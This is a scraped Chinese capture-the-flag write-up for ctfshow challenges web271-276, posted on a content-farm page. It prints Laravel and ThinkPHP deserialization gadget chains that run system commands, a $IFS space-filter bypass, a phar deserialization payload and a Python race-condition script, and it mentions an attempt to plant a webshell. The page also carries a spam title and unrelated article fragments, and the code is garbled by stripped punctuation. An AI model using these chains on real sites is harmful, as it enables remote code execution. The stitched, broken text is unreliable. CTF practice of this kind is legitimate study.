做网站的外包公司wordpress 去掉p标签

diannao/2026/1/20 3:05:27/文章来源:
做网站的外包公司,wordpress 去掉p标签,微信app开发需要多少钱,类模板模板下载网站目录 web271 web272-273 web274 web275 web276 为什么不用分析具体为什么能成功 ,后面会有几个专题 会对php框架进行更深入的了解 这里面会专门的研究 为什么能够实现RCE 前面作为初步的熟悉 首先知道一下他的框架 知道框架的风格 知道啥版本可以用什么来打 首先先不用太研…目录 web271 web272-273 web274 web275 web276 为什么不用分析具体为什么能成功 ,后面会有几个专题 会对php框架进行更深入的了解 这里面会专门的研究 为什么能够实现RCE 前面作为初步的熟悉 首先知道一下他的框架 知道框架的风格 知道啥版本可以用什么来打 首先先不用太研究 这样的话 自己会感觉会难 所以以后再说 随着积累刚开始不理解的地方做的多了就豁然开朗 就像收集的框架确定有用后 可以保留 以后没准遇得到 web271 laravel5.7反序列化漏洞 使用网上公布的反序列化的链子 源代码 ?php/*** Laravel - A PHP Framework For Web Artisans** package Laravel* author Taylor Otwell taylorlaravel.com*/define(LARAVEL_START, microtime(true));/* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | our application. We just need to utilize it! Well simply require it | into the script here so that we dont have to worry about manual | loading any of our classes later on. It feels great to relax. | */require __DIR__ . /../vendor/autoload.php;/* |-------------------------------------------------------------------------- | Turn On The Lights |-------------------------------------------------------------------------- | | We need to illuminate PHP development, so let us turn on the lights. | This bootstraps the framework and gets it ready for use, then it | will load up this application so that we can run it and send | the responses back to the browser and delight our users. | */$app require_once __DIR__ . /../bootstrap/app.php;/* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request | through the kernel, and send the associated response back to | the clients browser allowing them to enjoy the creative | and wonderful application we have prepared for them. | */$kernel $app-make(Illuminate\Contracts\Http\Kernel::class); $response $kernel-handle($request Illuminate\Http\Request::capture() ); unserialize($_POST[data]); highlight_file(__FILE__);$kernel-terminate($request, $response); exp ?php //gadgets.php namespace Illuminate\Foundation\Testing{class PendingCommand{protected $command;protected $parameters;protected $app;public $test;public function __construct($command, $parameters,$class,$app){$this-command $command;$this-parameters $parameters;$this-test$class;$this-app$app;}} } namespace Illuminate\Auth{class GenericUser{protected $attributes;public function __construct(array $attributes){$this-attributes $attributes;}} } namespace Illuminate\Foundation{class Application{protected $hasBeenBootstrapped false;protected $bindings;public function __construct($bind){$this-bindings$bind;}} } namespace{echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand(system,array(ls /),new Illuminate\Auth\GenericUser(array(expectedOutputarray(01),expectedQuestionsarray(01))),new Illuminate\Foundation\Application(array(Illuminate\Contracts\Console\Kernelarray(concreteIlluminate\Foundation\Application)))))); } ? 不知道为什么么找了好多链子 这个和大师傅的链子一摸一样 但是都有一个通用的问题 一旦命令中出现空格 就不好使,自己找出来解决方式了 使用$IFS代表空格   $IFS$9 是为了绕过命令中的空格 加不加$9都可以 他俩的意思应该都是空格 反正能代替空格 发现了flag 查看flag内容 web272-273 laravel5.8反序列化漏洞 源码 ?php/*** Laravel - A PHP Framework For Web Artisans** package Laravel* author Taylor Otwell taylorlaravel.com*/define(LARAVEL_START, microtime(true));/* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | our application. We just need to utilize it! Well simply require it | into the script here so that we dont have to worry about manual | loading any of our classes later on. It feels great to relax. | */require __DIR__ . /../vendor/autoload.php;/* |-------------------------------------------------------------------------- | Turn On The Lights |-------------------------------------------------------------------------- | | We need to illuminate PHP development, so let us turn on the lights. | This bootstraps the framework and gets it ready for use, then it | will load up this application so that we can run it and send | the responses back to the browser and delight our users. | */$app require_once __DIR__ . /../bootstrap/app.php;/* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request | through the kernel, and send the associated response back to | the clients browser allowing them to enjoy the creative | and wonderful application we have prepared for them. | */$kernel $app-make(Illuminate\Contracts\Http\Kernel::class); $response $kernel-handle($request Illuminate\Http\Request::capture() ); unserialize($_POST[data]); highlight_file(__FILE__);$kernel-terminate($request, $response); 看看之前的poc可不可以 不行,新找一个 exp ?phpnamespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events,$event){$this-events $events;$this-event $event;}} }namespace Illuminate\Bus{class Dispatcher{protected $queueResolver system;} }namespace Illuminate\Broadcasting{class BroadcastEvent{public $connection tac$IFS/f*;} }namespace{$d new Illuminate\Bus\Dispatcher();$b new Illuminate\Broadcasting\BroadcastEvent();$p new Illuminate\Broadcasting\PendingBroadcast($d,$b);echo urlencode(serialize($p)); }? 查看根目录文件 查看flag 成功 大师傅的链子我没找到 找到一个基本差不多的 但是我的不好使 他直接传cookie 将结果传进了cookie中 然后的到路径后 写木马到1.php web273用272的链子就行 老师的这个我是真喜欢 但是我的不好使 web274 thinkphp框架 5.1也有几个链子 现在就是找反序列化入口 查看源码发现提示 GET方式传入data参数  网上找一个thinkphp5.1的链子 exp ?php namespace think; abstract class Model{protected $append [];private $data [];function __construct(){$this-append [lin[calc.exe,calc]];$this-data [linnew Request()];} } class Request {protected $hook [];protected $filter system;protected $config [// 表单ajax伪装变量var_ajax _ajax, ];function __construct(){$this-filter system;$this-config [var_ajaxlin];$this-hook [visible[$this,isAjax]];} } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows {private $files [];public function __construct(){$this-files[new Pivot()];} } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ? 通过lin进行传参 成功获取flag web275 代码 ?php/* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-12-08 19:13:36 # Last Modified by: h1xa # Last Modified time: 2020-12-08 20:08:07 # email: h1xactfer.com # link: https://ctfer.com */ highlight_file(__FILE__); class filter{public $filename; //定义三个属性public $filecontent;public $evilfilefalse;public function __construct($f,$fn){//将传进来的两个参数赋值给属性$this-filename$f;$this-filecontent$fn;}public function checkevil(){if(preg_match(/php|\.\./i, $this-filename)){//在filename如果匹配了php 那就给evilfile赋值为真$this-evilfiletrue;}if(preg_match(/flag/i, $this-filecontent)){//在filecontent如果匹配flag 那就给evilfile赋值为真$this-evilfiletrue;}return $this-evilfile;//返回evilfile}public function __destruct(){//反序列化的时候 如果evilfile为真if($this-evilfile){ //执行系统命令rm $filenamesystem(rm .$this-filename);}} } if(isset($_GET[fn])){//传入fn$content file_get_contents(php://input);//获取通过 HTTP POST 请求发送的原始数据。$f new filter($_GET[fn],$content);//传入两个参数 第一个参数get获取到的 第二个参数post获取到的 会先触发construct后触发destructif($f-checkevil()false){//如果evilfile为假file_put_contents($_GET[fn], $content);//写文件 将POST值写入GET的值的文件中copy($_GET[fn],md5(mt_rand())..txt);//将从 GET 请求中获取的文件复制到一个以随机生成的 MD5 哈希作为文件名的新文件中。unlink($_SERVER[DOCUMENT_ROOT]./.$_GET[fn]);//删除GET的文件 前面代表网站根目录echo work done;} }else{echo where is flag?; } where is flag? // 看的差不多足够我们RCE(远程代码执行)了 很简单 查看flag 可以看到都不需要干别的就能rce了 web276 这道题我感觉我比百度搜的都细 这道题他们都不写 源码 ?php/* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-12-08 19:13:36 # Last Modified by: h1xa # Last Modified time: 2020-12-08 20:08:07 # email: h1xactfer.com # link: https://ctfer.com mytime 2023/12/7 2320 */ highlight_file(__FILE__); class filter{public $filename;public $filecontent;public $evilfilefalse;public $admin false;public function __construct($f,$fn){$this-filename$f;$this-filecontent$fn;}public function checkevil(){if(preg_match(/php|\.\./i, $this-filename)){$this-evilfiletrue;}if(preg_match(/flag/i, $this-filecontent)){$this-evilfiletrue;}return $this-evilfile;}public function __destruct(){if($this-evilfile $this-admin){//必须保证evilfile和admin都为真 才可以system(rm .$this-filename);}} }if(isset($_GET[fn])){$content file_get_contents(php://input);$f new filter($_GET[fn],$content);if($f-checkevil()false){file_put_contents($_GET[fn], $content);copy($_GET[fn],md5(mt_rand())..txt);unlink($_SERVER[DOCUMENT_ROOT]./.$_GET[fn]);//删除文件 在删除见我们要使用phar://进行解析该文件使得phar文件内容进行反序列化echo work done;}}else{echo where is flag?; }?php file_put_contents(new_file.txt, Hello, World!); ?需要先写入phar包然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行 phar包通过 phar:// 解析获取处理时会反序列化 先生成一个我们所需的phar包使用php生成phar模板按照我们所需要求修改的 生成phar包 ?php highlight_file(__FILE__); class filter{public $filename1;tac f*;public $filecontent;public $evilfiletrue;public $admin true; } $anew filter(); unlink(phar.phar); //删除之前的test.par文件(如果有) $pharnew Phar(phar.phar); //创建一个phar对象文件名必须以phar为后缀 $phar-startBuffering(); //开始写文件 $phar-setStub(?php __HALT_COMPILER(); ?); //写入stub $phar-setMetadata($a);//写入meta-data 这里进行序列化 $phar-addFromString(phar.txt,phar); //添加要压缩的文件 $phar-stopBuffering();用python写一个脚本 持续提交phar和获取phar内容 开启条件竞争 (这个脚本按照大师傅 自己写的 真爽 写的代码量巨少 功能巨强) python脚本 import requests import threading url http://8f28ec2c-f5c0-445d-b3a3-ac9ebe60556c.challenge.ctf.show/ data open(./phar.phar, rb).read() flag True def write(): # 写入phar.pharrequests.post(url?fnphar.phar, datadata)#post方法提交数据 数据就是从本地phar文件中获取的二进制数据图像视频什么的必须使用二进制方式读取否则乱码 def unserialize(): # 触发反序列化global flag #在函数内部声明一个全局变量 函数内部修改变量 必须使用globalr requests.get(url?fnphar://phar.phar)#发送get请求 以phar方式进行读取我们传入的phar文件 在没删除之前快速读取#请求如果获取到内容了保存在r变量中if ctfshow{ in r.text and flag:#在内容中如果存在ctfshow字样print(r.text)flag False while flag: # 线程条件竞争直到读到flagthreading.Thread(target write).start() #开启一个线程 循环执行线程里面的函数threading.Thread(target unserialize).start() #同理 直到输出了r.text flag为假 才会停止执行执行python代码 成功获取到flag 因为我是小白嘛 什么都不是很理解 这道题我发现了python脚本的好处 直呼神奇  说是条件竞争 我又想到了一种 但是没有成功不知道什么原因 就是再没删除前写入一句话木马到一个文件内 最后访问这个文件 可惜没有成功 但是是个思路记录一下吧 import requests import threading import time url http://64ebefe9-27f9-48a2-bf08-06f23b3f36f0.challenge.ctf.show/ data ?php file_put_contents(tzy.php,?php phpinfo();?, FILE_APPEND); ? flag True def post():requests.post(url?fn1.PHP, datadata) def get1():requests.get(url 1.php) def get2():r requests.get(urltzy.php)if PHP Version in r.text:global flagflag False while flag:threading.Thread(targetget1).start()threading.Thread(targetget2).start()threading.Thread(targetpost).start()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/90112.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

创新网站建设工作室番禺建设网站平台

RF是做接口测试的一个非常方便的工具,我们只需要写好发送报文的脚本,就可以灵活的对接口进行测试。 做接口测试我们需要做如下工作: 1、拼接发送的报文 2、发送请求的方法 3、对结果进行判断 我们先按步骤实现,再进行RF操作的…

装饰公司营销网站建设win8怎么建设网站

见:GitHub - eHackyd/Java_JVM: Java虚拟机(JVM)框架的学习笔记

杭州网站建设方案服务公司邢台精品网站建设

UART协议驱动设计 在不通信时,发送高电平。发送信息时,应该首先发送起始位(1bit、低电平)。可以理解为告诉接收方,应该接收信息了。发送数据位,由于是串行通信,规定从低位开始发,最后到高位(协议规定信息位可以为 4、 5、 6、 7、 8)。校验位(1bit)。可以采用奇校验…

网站属性设置想自己开发一款软件

guava集合操作类的使用我目前正在为LibFX添加一项新功能,为此我创建了一些类似于Java Collections Framework的自定义集合。 我一直在寻找可以与之对抗的测试,并很高兴发现Google的Guava包含了我所需要的:一个庞大的测试套件,可以…

伊利网站建设评价企业微信商城

上周总结 根据系统生产环境的日志文件,写了个脚本统计最近使用我们系统的用户的手机型号以及系统,帮助聚焦主要测试的机型,以及系统类型 依然是根据时区不同对项目进行改造,还有一个开发好的接口需要下周联调 2024/3/3 晴…

网站申请微信支付网站与网络的区别

1 ROS存在的问题 一旦Ros Master主节点挂掉后,就会造成整个系统通信的异常,通信基于TCP实现,实时性差、系统开销大对Python3支持不友好,需要重新编译消息机制不兼容没有加密机制、安全性不高 2 ROS and ROS2架构对比 ROS和ROS2架构如下图所…

大连网站开发公司shepiguo中国有限公司官网

Docker的流行使得它成为开发者和运维人员不可或缺的工具。在本文中,将深入探讨如何在不同平台上安装和配置Docker,旨在为大家提供详尽的指南,确保他们能够顺利地使用这一强大的容器化工具。 Docker基础概念回顾 Docker利用容器技术&#xf…

网站开发工程师心得总结如何用dw制作简单网页

首先在设置界面可以看到很多快捷键,并支持将之前软件的快捷键习惯导入安卓开发中,默认的就是安卓开发的快捷键,所以基本不需要一些学习成本 双击shirf可以跳出查找界面 修改快捷键 按住ctrlshirftalt并用鼠标单击要添加代码的位置。就可以实现…

网站抽奖模板电子商务网站网络拓扑

大家好,我是向阳 AI横空出世后,不少行业受到了冲击。第一批因AI失业的人,也已经出现了! 他们是游戏设计师、原画设计师、服装设计师……社交媒体上,不断能看到这样的新闻:引入AI后,某游戏公司…

网站建设汇报一般公司网站的后台管理在哪

为什么80%的码农都做不了架构师?>>> 学习monkeyrunner,无奈怎么都无法启动activity,人家告诉我.hierarchyviewer这个工具可以,今天我就开始学习这个了,但愿有所帮助啊。http://www.xuebuyuan.com/2104811.…

做外单要上什么网站seo算法

常见的函数样式有4种&#xff0c;即在函数定义过程中函数的四种格式&#xff0c;他们也分别对应了四种调用方法&#xff1a; 1&#xff0c;无参无返 2&#xff0c;有参无返 3&#xff0c;无参有返 4&#xff0c;有参有返 示例&#xff1a; #include<bits/stdc.h> u…

免费发布信息网站wordpress win7 win10

转自 http://blog.csdn.net/shootyou/article/details/6093562 Nginx介绍和安装 一个简单的配置文件 模块介绍 常用场景配置 进阶内容 参考资料 Nginx介绍和安装 Nginx是一个自由、开源、高性能及轻量级的HTTP服务器及反转代理服务器&#xff0c; 其性能与IMAP/POP3代理服务器…

做海报挣钱的网站广东东莞职业技术学院

把数据放到一个泛型集合里&#xff0c;再把泛型集合里面的数据放到一个table中&#xff0c;设置好文件路径&#xff0c;然后进行文件读取&#xff0c;最后供用户下载。 数据导出放在一个按钮中就可以了 using System; using System.Collections.Generic; using System.Linq; us…

自己做网站维护挣钱吗南宁哪有网站建设公司

问题描述 一个正整数可以划分为多个正整数的和&#xff0c;比如n3时&#xff1a;   3&#xff1b;1&#xff0b;2&#xff1b;1&#xff0b;1&#xff0b;1&#xff1b;   共有三种划分方法。   给出一个正整数&#xff0c;问有多少种划分方法。 输入格式 一个正整数n …

如何创建网站目录html投票代码

🚀返回专栏总目录 文章目录 一、虚拟地址映射的物理内存1.1、物理内存1.2、虚拟内存1.2.1、用户态:低特权运行程序1.2.2、内核态:运行的程序需要访问操作系统内核数据二、PageCache三、指标查询命令沉淀、分享、成长,让自己和他人都能有所收获!😄 📢进程消耗的内存包…

工业设计招聘信息网站济南做网站的高端品牌

原文链接&#xff1a;http://zhumeng8337797.blog.163.com/blog/static/1007689142012819111054920/ 1. Nikto 这是一个开源的Web服务器扫描程序&#xff0c;它可以对Web服务器的多种项目(包括3500个潜在的危险文件/CGI&#xff0c;以及超过900个服务器版本&#xff0c;还有250…

网站设计包括哪些内容建设蒙古语网站

摘要&#xff1a;本文将介绍如何使用Vue.js构建一个简单实用的春节红包插件。该插件通过模拟红包的打开和关闭过程&#xff0c;以及金额的随机分配&#xff0c;为春节红包活动提供了一个有趣且互动的体验。 一、引言 在春节这个充满欢乐和祝福的时刻&#xff0c;红包成为了传递…

菠菜网站怎么做推广比较好专业南京网站建设

使用Collections.emptyList()生成的List不支持add方法 今天使用Collections.emptyList()&#xff0c;返回一个空的List 但是发现它不支持Add功能&#xff0c;调用Add会抛出unsupportedException&#xff0c; 在以后要返回一个空的List&#xff0c;并还需要后续操作时&#xff…

网站 逻辑结构wordpress 公网贷款

文章目录 一、说明二、python实现复平面的莫比乌斯变换三、线的变换四、画笑脸 一、说明 我们在前面的文章中&#xff0c;叙述了莫比乌斯变换的复数分析&#xff0c;以及种种几何属性&#xff0c;本篇中叙述如何程序地实现&#xff1a;复平面上的圆在莫比乌斯变换下的图像是另…

做视频点播网站如何赚钱怎样python做网站

这里写目录标题 STL之multimap 【多重映射】头文件创建 std::multimap插入元素遍历 std::multimap删除元素查找元素场景应用综合示例 STL之multimap 【多重映射】 multimap&#xff1a;多重映射&#xff0c;允许存储多个相同键的键-值对&#xff0c;并按键升序排序。 头文件 …